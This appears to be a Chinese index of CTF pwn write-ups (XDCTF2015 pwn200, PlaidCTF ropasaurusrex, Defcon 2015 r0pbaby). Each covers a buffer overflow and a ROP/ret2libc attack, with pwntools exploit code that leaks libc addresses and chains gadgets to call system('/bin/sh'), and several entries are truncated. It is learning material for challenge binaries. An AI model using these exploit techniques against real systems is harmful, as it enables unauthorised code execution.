CTF | XDCTF2015-pwn200(DynELF)

该题用到了 DynELF 技术 DynELF 是 pwntools 中专门用来应对无 libc 情况的漏洞利用模块,其基本代码框架如下。 p = process('./xxx') def leak(address): #各种预处理 payload = "xxxxxxxx" + address + "xxxxxxxx" p.send(payload) #各种处理 data = p.recv(4) return data d = DynELF(leak, elf=ELF("./xxx")) #初始化DynELF模块 systemAddress = d.lookup('system', 'libc') #在libc文件中搜索system函数的地址 再看 read 函数: 定义函数:ssize_t read(int fd, void * buf, size_t count); 函数说明:read()会把参数fd 所指的文件传送count 个字节到buf 指针所指的内存中. 若参数 count 为 0, 则read()不会有作用并返回0. 返回值为实际读取到的字节数, 如果返回0, 表示已到达文件尾或是无可读取的数据,此外文件读写位置会随读取到的字节移动. 思路: 1.调用 main 函数循环利用 2.泄露出 system 地址...

PlaidCTF-2013-ropasaurusrex

分析: buf大小只有0x88,但是却允许被读入0x100的字节大小,造成缓冲区溢出。程序是32位。 定义函数:ssize_t write (int fd, const void * buf, size_t count); 函数说明:write()会把参数buf 所指的内存写入count 个字节到参数fd 所指的文件内. 当然, 文件读写位置也会随之移动. 攻击思路: 1.构造 payload leak 内存中的一个函数地址,比如 read ,write(返回地址是有漏洞的函数,以便第二次利用) 2.计算libc base,得到 system 地址 3.构造payload get shell info leak: payload: 'A' * N + p32(write_plt) + p32(ret) + p32(1) + p32(address) + p32(4) 输入N个字符后发生溢出,write_plt的地址将会覆盖 read 函数的返回地址,随后程序将会跳转到write函数,我们在栈中构造了write函数的3个参数和返回地址,这段payload相当于让程序执行 write(1, address, 4); 这样就可以dump出内存中地址为address处的4字节数据。 (参考:初探ROP攻击 Memory Leak & DynELF) from pwn import * elf = ELF('./ropasaurusrex') io = process('./ropasaurusrex') libc = ELF('/lib/i386-linux-gnu/libc....

Defcon-2015-Qualifier-r0pbaby

64位需要rdi传参,有PIE保护不能使用程序中的gadget,此处可以从libc中找 buf的大小是8,会造成缓冲区溢出 解题思路 1.找到一个gadget RDI 2.找到 /bin/sh地址 3.找到 system 函数地址 查找 gadget ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" 查找 /bin/sh 字符串 strings -a -tx /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh" from pwn import * elf = ELF('r0pbaby') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') io = process('./r0pbaby') sh = next(libc.search('/bin/sh')) sys_offset = libc.symbols['system'] rdi_offset = 0x000000000002144f def getFun(fun): io.recvuntil("4) Exit\n:") io.sendline('2') io.recvuntil("Enter symbol:") io.sendline(fun) msg = io.recvuntil("4) Exit\n: ") offset = msg.find(":") offset2 = msg.find("\n") addr = msg[offset+2:offset2] return long(addr,16) sys_addr = getFun('system') sh_addr = sys_addr-sys_offset + sh rdi_addr = sys_addr - sys_offset+rdi_offset payload = 'a'*8+p64(rdi_addr)+p64(sh_addr)+p64(sys_addr) io....